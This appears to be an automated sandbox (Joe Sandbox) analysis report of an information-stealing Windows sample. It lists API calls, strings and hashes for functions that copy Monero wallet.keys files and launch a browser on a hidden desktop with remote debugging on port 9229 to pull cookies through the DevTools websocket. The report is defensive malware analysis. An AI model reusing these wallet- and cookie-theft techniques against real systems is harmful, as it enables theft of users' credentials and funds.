Instruction Fuzzy Hash: 0B12493190120A9FDB20BFA8C889BAE7FB9BF44704F148168EE15B7261DB35DD41CB94

Function 00590EA0 Relevance: 60.6, APIs: 40, Instructions: 603stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 00590ED2
lstrlenA.KERNEL32(011DFFB0), ref: 00590EE1
lstrcpy.KERNEL32(00000000,00000000), ref: 00590F04
lstrcatA.KERNEL32(00000000,00000000), ref: 00590F0F
lstrcpy.KERNEL32(00000000,00000000), ref: 00590F35
lstrcpy.KERNEL32(00000000,?), ref: 00590F73
lstrcatA.KERNEL32(00000000), ref: 00590F7D
lstrcpy.KERNEL32(00000000,00000000), ref: 00590FA6
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00590FC2
lstrcpy.KERNEL32(00000000,005AD014), ref: 00590FF2
lstrlenA.KERNEL32(011DD808), ref: 00591001
lstrcpy.KERNEL32(00000000,?), ref: 0059102B
lstrcatA.KERNEL32(00000000,?), ref: 00591033
lstrlenA.KERNEL32(005B1D5C), ref: 0059103E
lstrcpy.KERNEL32(00000000,00000000), ref: 0059105E
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0059106A
lstrcpy.KERNEL32(00000000,00000000), ref: 00591090
lstrcatA.KERNEL32(00000000,00000000), ref: 0059109B
lstrlenA.KERNEL32(005B5158), ref: 005910A6
lstrcpy.KERNEL32(00000000,?), ref: 005910C9
lstrcatA.KERNEL32(00000000,005B5158), ref: 005910D5
lstrcpy.KERNEL32(00000000,00000000), ref: 005910F8
lstrcatA.KERNEL32(00000000,00000000), ref: 00591103
lstrlenA.KERNEL32(011DD948), ref: 00591112
lstrcpy.KERNEL32(00000000,00000000), ref: 0059113C
lstrcatA.KERNEL32(00000000,00000000), ref: 00591147
lstrcpy.KERNEL32(00000000,00000000), ref: 00591171
lstrcpy.KERNEL32(00000000,005AD014), ref: 00591210
lstrcpy.KERNEL32(00000000,00000000), ref: 00591262

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$CopyFile
String ID:
API String ID: 4143980809-0
Opcode ID: 84588c6856d777232ab6724c99fe2d1672015e370ae2cbad91f0c77aabc95445
Instruction ID: 13d9aef57b66fdf5747d1255f0be4aadd474008a2f0ee035c59bf24a775aa654
Opcode Fuzzy Hash: 84588c6856d777232ab6724c99fe2d1672015e370ae2cbad91f0c77aabc95445
Instruction Fuzzy Hash: FE324C31A0161B9FCF20AFA9C888B6E7FF9BF44704F148569E915A7261DB34DC42CB94

Function 0059AA7B Relevance: 58.9, APIs: 39, Instructions: 432
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(005B5094), ref: 0059AA85
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AAA7
lstrcatA.KERNEL32(00000000,005B5094), ref: 0059AAB3
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AADC
lstrlenA.KERNEL32(011E0148), ref: 0059AAF2
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AB1A
lstrcatA.KERNEL32(00000000,00000000), ref: 0059AB25
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AB4E
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AB91
lstrcatA.KERNEL32(00000000), ref: 0059AB9B
lstrcpy.KERNEL32(00000000,00000000), ref: 0059ABC2
lstrlenA.KERNEL32(005B5094), ref: 0059ABDC
lstrcpy.KERNEL32(00000000,?), ref: 0059ABFC
lstrcatA.KERNEL32(00000000,005B5094), ref: 0059AC08
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AC2F
lstrlenA.KERNEL32(011E0160), ref: 0059AC45
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AC6D
lstrcatA.KERNEL32(00000000,00000000), ref: 0059AC78
lstrcpy.KERNEL32(00000000,00000000), ref: 0059ACA1
lstrcpy.KERNEL32(00000000,00000000), ref: 0059ACE4
lstrcatA.KERNEL32(00000000,00000000), ref: 0059ACEE
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AD17
lstrlenA.KERNEL32(005B5094), ref: 0059AD31
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AD53
lstrcatA.KERNEL32(00000000,005B5094), ref: 0059AD5F
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AD88
lstrlenA.KERNEL32(005B5094), ref: 0059AD9A
lstrcpy.KERNEL32(00000000,00000000), ref: 0059ADBC
lstrcatA.KERNEL32(00000000,005B5094), ref: 0059ADC8
lstrcpy.KERNEL32(00000000,00000000), ref: 0059ADF1
lstrlenA.KERNEL32(011E0178), ref: 0059AE07
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AE2F
lstrcatA.KERNEL32(00000000,00000000), ref: 0059AE3A
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AE63
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AE9F
lstrcatA.KERNEL32(00000000,00000000), ref: 0059AEA9
lstrcpy.KERNEL32(00000000,00000000), ref: 0059AECF
lstrlenA.KERNEL32(00000000), ref: 0059AEE5
lstrcpy.KERNEL32(00000000,011E01C0), ref: 0059AF18

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: bef7bb466c3f099fddbc78cfd96754cf7a586633d0f2f3934e11f9f0812a6d11
Instruction ID: 0a5a2945b40d6ef592bf617bfe8111a0a99576c4335ec09665170ab5249e538e
Opcode Fuzzy Hash: bef7bb466c3f099fddbc78cfd96754cf7a586633d0f2f3934e11f9f0812a6d11
Instruction Fuzzy Hash: 84F1F83091161B9BCB21BBA8CC4DAAFBFB9BF40701F044524F914A7261DB389D41CBE1

Function 00596190 Relevance: 57.6, APIs: 38, Instructions: 594
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 005961C5
lstrcpy.KERNEL32(00000000,005AD014), ref: 005961F2
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00596221
lstrcpy.KERNEL32(00000000,00000000), ref: 00596252
lstrcpy.KERNEL32(00000000,00000000), ref: 0059627A
lstrcatA.KERNEL32(00000000,00000000), ref: 00596285
lstrcpy.KERNEL32(00000000,00000000), ref: 005962B0
lstrcpy.KERNEL32(00000000,00000000), ref: 005962E9
lstrcatA.KERNEL32(00000000,00000000), ref: 005962F4
lstrcpy.KERNEL32(00000000,00000000), ref: 0059631F
lstrcatA.KERNEL32(00000000,00000000), ref: 0059632A
lstrcpy.KERNEL32(00000000,00000000), ref: 00596352
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,00000000), ref: 0059638A
lstrcpy.KERNEL32(00000000,00000000), ref: 005963C1
lstrcpy.KERNEL32(00000000,00000000), ref: 005963EC
lstrcatA.KERNEL32(00000000,00000000), ref: 005963F7

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FolderPath
String ID:
API String ID: 2440492483-0
Opcode ID: 9077e35c594637a0a5942820fd92b39852e7e8222cf904e87f67b537b82291ff
Instruction ID: e596507cd7edd8abd038e09601bad2562dda5ac350edcfcc52eff4ca3c4ee9fc
Opcode Fuzzy Hash: 9077e35c594637a0a5942820fd92b39852e7e8222cf904e87f67b537b82291ff
Instruction Fuzzy Hash: FA228E7190121A9BCF20AFA8C98DBAE7FF8BF84700F144568F909A7251DB34DD49CB95

Function 005968B6 Relevance: 54.7, APIs: 29, Strings: 2, Instructions: 428
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 005968D5
lstrcpy.KERNEL32(00000000,005AD014), ref: 00596910
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0059693A
lstrcpy.KERNEL32(00000000,00000000), ref: 00596971
lstrcpy.KERNEL32(00000000,00000000), ref: 00596996
lstrcatA.KERNEL32(00000000,00000000), ref: 0059699E
lstrcpy.KERNEL32(00000000,00000000), ref: 005969C7

Strings

C, xrefs: 00596BB3
\..\, xrefs: 00596AB1, 00596ADC

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$FolderPathlstrcat
String ID: \..\$C
API String ID: 2938889746-637733881
Opcode ID: c6572cf9242f07197848d3bdf6e3c2263b77f594df8c54eb48e0247c89a2177a
Instruction ID: 24e7c74a4e4dc74e397a7f7003414acf51d91a04a2d576325adde890ab57421b
Opcode Fuzzy Hash: c6572cf9242f07197848d3bdf6e3c2263b77f594df8c54eb48e0247c89a2177a
Instruction Fuzzy Hash: 8FF15B70A0161A9BCF21BF68C84DBAE7FF5BF84300F048564E955A7261EB38DD49CB91

Function 005897A0 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 235
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 005897C4
lstrcatA.KERNEL32(?,?), ref: 005897D8
lstrcatA.KERNEL32(?,?), ref: 005897ED
lstrcatA.KERNEL32(?, --remote-debugging-port=9229 --profile-directory="), ref: 00589800
memset.MSVCRT ref: 00589815

Part of subcall function 005A3E10: lstrcpy.KERNEL32(00000000,005AD014), ref: 005A3E45
Part of subcall function 005A3E10: lstrcpy.KERNEL32(00000000,011D4B38), ref: 005A3E6F
Part of subcall function 005A3E10: GetSystemTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00584D2A,?,00000014), ref: 005A3E79

wsprintfA.USER32 ref: 00589846
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00589869
CreateDesktopA.USER32(?), ref: 00589888
memset.MSVCRT ref: 005898A6
lstrcatA.KERNEL32(?,?), ref: 005898BB
lstrcatA.KERNEL32(?,?), ref: 005898CD
lstrcatA.KERNEL32(?,005B5120), ref: 005898DD
memset.MSVCRT(?,00000000,00000104), ref: 005898F2
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0058991A
lstrcpy.KERNEL32(00000000,?), ref: 00589950
StrStrA.SHLWAPI(?,011E0508), ref: 00589965
lstrcpyn.KERNEL32(007B93D0,?,00000000), ref: 00589982
lstrlenA.KERNEL32(?), ref: 00589996
wsprintfA.USER32 ref: 005899A6
lstrcpy.KERNEL32(?,?), ref: 005899BD
memset.MSVCRT ref: 005899D3

Strings

--remote-debugging-port=9229 --profile-directory=", xrefs: 005897F3
D, xrefs: 005899EA
%s%s, xrefs: 005899A0

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrcpy$Desktopwsprintf$CreateFolderOpenPathSystemTimelstrcpynlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$%s%s$D
API String ID: 3051782728-1862457068
Opcode ID: be01ca9ab460f6548510c5890efbb3008f7b81d27843dc06d4049cc9702a64db
Instruction ID: 05fb32fc94bac947da535f1e61614976d5ecf4683e0570f68d12af960c7bc55e
Opcode Fuzzy Hash: be01ca9ab460f6548510c5890efbb3008f7b81d27843dc06d4049cc9702a64db
Instruction Fuzzy Hash: CA919371614345AFD720EF64CC49FAB7BE8BFC8700F008919FA5997291DB74A904CBA6

Function 00581070 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 278stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0058108A

Part of subcall function 00581000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00581015
Part of subcall function 00581000: HeapAlloc.KERNEL32(00000000), ref: 0058101C
Part of subcall function 00581000: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00581039
Part of subcall function 00581000: RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00581053
Part of subcall function 00581000: RegCloseKey.ADVAPI32(?), ref: 0058105D

lstrcatA.KERNEL32(?,00000000), ref: 005810A0
lstrlenA.KERNEL32(?), ref: 005810AD
lstrcatA.KERNEL32(?,.keys), ref: 005810C8
lstrcpy.KERNEL32(00000000,005AD014), ref: 005810FF
lstrlenA.KERNEL32(011DD718), ref: 0058110D
lstrcpy.KERNEL32(00000000,?), ref: 00581131
lstrcatA.KERNEL32(00000000,011DD718), ref: 00581139
lstrlenA.KERNEL32(\Monero\wallet.keys), ref: 00581144
lstrcpy.KERNEL32(00000000,00000000), ref: 00581168
lstrcatA.KERNEL32(00000000,\Monero\wallet.keys), ref: 00581174
lstrcpy.KERNEL32(00000000,00000000), ref: 0058119A
lstrcpy.KERNEL32(00000000,005AD014), ref: 005811DF
lstrlenA.KERNEL32(011DFFB0), ref: 005811EE
lstrcpy.KERNEL32(00000000,?), ref: 00581215
lstrcatA.KERNEL32(00000000,?), ref: 0058121D
lstrcpy.KERNEL32(00000000,00000000), ref: 00581258
lstrcatA.KERNEL32(00000000), ref: 00581265
lstrcpy.KERNEL32(00000000,00000000), ref: 0058128C
CopyFileA.KERNEL32(?,?,00000001), ref: 005812B5
lstrcpy.KERNEL32(00000000,?), ref: 005812E1
lstrcpy.KERNEL32(00000000,?), ref: 0058131D

Part of subcall function 0059EF30: lstrcpy.KERNEL32(00000000,?), ref: 0059EF62

DeleteFileA.KERNEL32(?), ref: 00581351
memset.MSVCRT ref: 0058136E

Strings

.keys, xrefs: 005810BC
\Monero\wallet.keys, xrefs: 0058113F, 0058116E

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeapmemset$AllocCloseCopyDeleteOpenProcessQueryValue
String ID: .keys$\Monero\wallet.keys
API String ID: 2734118222-3586502688
Opcode ID: e104de2680d29646b8beeca0271d8d1f51518cbc7e6d088deadd62b4dfab0780
Instruction ID: 9d41af0c7aa4a58efd052bb5f283c75d7b9d645acc6e499117777cf61d955644
Opcode Fuzzy Hash: e104de2680d29646b8beeca0271d8d1f51518cbc7e6d088deadd62b4dfab0780
Instruction Fuzzy Hash: C2A14D71A0160AABCB10BBA8DC4DA9E7FB8BF84700F444164FE05F7251DB34DD468BA9

Function 00595BE0 Relevance: 45.5, APIs: 30, Instructions: 486stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 00595C15
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00595C44
lstrcpy.KERNEL32(00000000,00000000), ref: 00595C75
lstrcpy.KERNEL32(00000000,00000000), ref: 00595C9D
lstrcatA.KERNEL32(00000000,00000000), ref: 00595CA8
lstrcpy.KERNEL32(00000000,00000000), ref: 00595CD0
lstrcpy.KERNEL32(00000000,00000000), ref: 00595D08
lstrcatA.KERNEL32(00000000,00000000), ref: 00595D13
lstrcpy.KERNEL32(00000000,00000000), ref: 00595D38
lstrcpy.KERNEL32(00000000,005AD014), ref: 00595D6E
lstrcpy.KERNEL32(00000000,00000000), ref: 00595D96
lstrcatA.KERNEL32(00000000,00000000), ref: 00595DA1
lstrcpy.KERNEL32(00000000,00000000), ref: 00595DC8
lstrlenA.KERNEL32(005B1D5C), ref: 00595DDA
lstrcpy.KERNEL32(00000000,00000000), ref: 00595DF9
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00595E05
lstrlenA.KERNEL32(011DFE30), ref: 00595E14
lstrcpy.KERNEL32(00000000,00000000), ref: 00595E37
lstrcatA.KERNEL32(00000000,00000000), ref: 00595E42
lstrcpy.KERNEL32(00000000,00000000), ref: 00595E6C
lstrcpy.KERNEL32(00000000,00000000), ref: 00595E98
GetFileAttributesA.KERNEL32(00000000), ref: 00595E9F
lstrcpy.KERNEL32(00000000,?), ref: 00595EF7
lstrcpy.KERNEL32(00000000,?), ref: 00595F66
lstrcpy.KERNEL32(00000000,?), ref: 00595F98
lstrcpy.KERNEL32(00000000,?), ref: 00595FDB
lstrcpy.KERNEL32(00000000,00000000), ref: 00596007
lstrcpy.KERNEL32(00000000,005AD014), ref: 0059603F
lstrcpy.KERNEL32(00000000,?), ref: 005960B1
lstrcpy.KERNEL32(00000000,00000000), ref: 005960D5

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFileFolderPath
String ID:
API String ID: 2428362635-0
Opcode ID: b43d2bb66c2d4be2a9d8507281e97f791d7287def4aa1974bb3237d9ac0214d0
Instruction ID: 14799eea122f7d1142e306b02f1e10058b50e78e4ba4b2ab24a266d6e811aba1
Opcode Fuzzy Hash: b43d2bb66c2d4be2a9d8507281e97f791d7287def4aa1974bb3237d9ac0214d0
Instruction Fuzzy Hash: E1028F71A0160A9BCF22BFA8C88DAAE7FF9BF44300F144168F945A7251EB34DD45CB94

Function 005A020C Relevance: 44.9, APIs: 25, Strings: 4, Instructions: 1414stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 005A022F
lstrlenA.KERNEL32(005AD014,00000000,00000000,00000000), ref: 005A0250
lstrcpy.KERNEL32(00000000,005AD014), ref: 005A0285
lstrlenA.KERNEL32(005AD014), ref: 005A0290
lstrcpy.KERNEL32(00000000,005AD014), ref: 005A02C5
lstrlenA.KERNEL32(005AD014), ref: 005A02D0
lstrcpy.KERNEL32(00000000,005AD014), ref: 005A0305
lstrlenA.KERNEL32(005AD014), ref: 005A0321
lstrcpy.KERNEL32(00000000,005AD014), ref: 005A0356
lstrlenA.KERNEL32(005AD014), ref: 005A0361
lstrcpy.KERNEL32(00000000,005AD014), ref: 005A0393
lstrlenA.KERNEL32(005AD014), ref: 005A039E
lstrcpy.KERNEL32(00000000,005AD014), ref: 005A03CA
lstrlenA.KERNEL32(005AD014), ref: 005A03F5
lstrcpy.KERNEL32(00000000,005AD014), ref: 005A0421

Strings

fplugins, xrefs: 005A0908
5j, xrefs: 005A0806
Zi, xrefs: 005A08B1
Ol, xrefs: 005A06EC

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: fplugins$5j$Ol$Zi
API String ID: 367037083-1700367763
Opcode ID: 641887b07e2c1c7af574038479c65e1f3fb35272f48b5e101bb3fd0986e6f3b1
Instruction ID: 098988c6fe2952626a3b7583d31580a44d358cc561173dbdcbef04a01809be73
Opcode Fuzzy Hash: 641887b07e2c1c7af574038479c65e1f3fb35272f48b5e101bb3fd0986e6f3b1
Instruction Fuzzy Hash: AFD25B709012058FDB24EF29C888B9CBFF4BF49314F5981AED409AB2A2DB359D85CF55

Function 005892E0 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 365stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005890F0: InternetOpenA.WININET(005AD014,00000001,00000000,00000000,00000000), ref: 0058910F
Part of subcall function 005890F0: InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 0058912C
Part of subcall function 005890F0: InternetCloseHandle.WININET(00000000), ref: 00589139
Part of subcall function 005890F0: strlen.MSVCRT ref: 00589155

strlen.MSVCRT ref: 00589311
strlen.MSVCRT ref: 0058932A

Part of subcall function 00597EB0: memchr.MSVCRT ref: 00597EEF
Part of subcall function 00597EB0: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00597F09
Part of subcall function 00597EB0: memchr.MSVCRT ref: 00597F28

Part of subcall function 005889B0: std::_Xinvalid_argument.LIBCPMT ref: 005889C6

memset.MSVCRT ref: 00589371
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 0058938C
lstrcatA.KERNEL32(?,00000000), ref: 005893A2
strlen.MSVCRT ref: 005893C9
strlen.MSVCRT ref: 00589416
memcmp.MSVCRT(?,005AD014,?), ref: 0058943B
memset.MSVCRT ref: 00589562
lstrcatA.KERNEL32(?,cookies), ref: 00589577
lstrcatA.KERNEL32(?,005B1D5C), ref: 00589589
lstrcatA.KERNEL32(?,?), ref: 0058959A
lstrcatA.KERNEL32(?,005B5158), ref: 005895AC
lstrcatA.KERNEL32(?,?), ref: 005895BD
lstrcatA.KERNEL32(?,.txt), ref: 005895CF
lstrlenA.KERNEL32(?), ref: 005895E6
lstrlenA.KERNEL32(?), ref: 0058960B
lstrcpy.KERNEL32(00000000,?), ref: 00589644
memset.MSVCRT ref: 0058968C

Strings

.txt, xrefs: 005895C3
/devtools, xrefs: 00589325, 00589330
ws://localhost:9229, xrefs: 00589380
cookies, xrefs: 0058956B
localhost, xrefs: 005892FA, 00589318

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
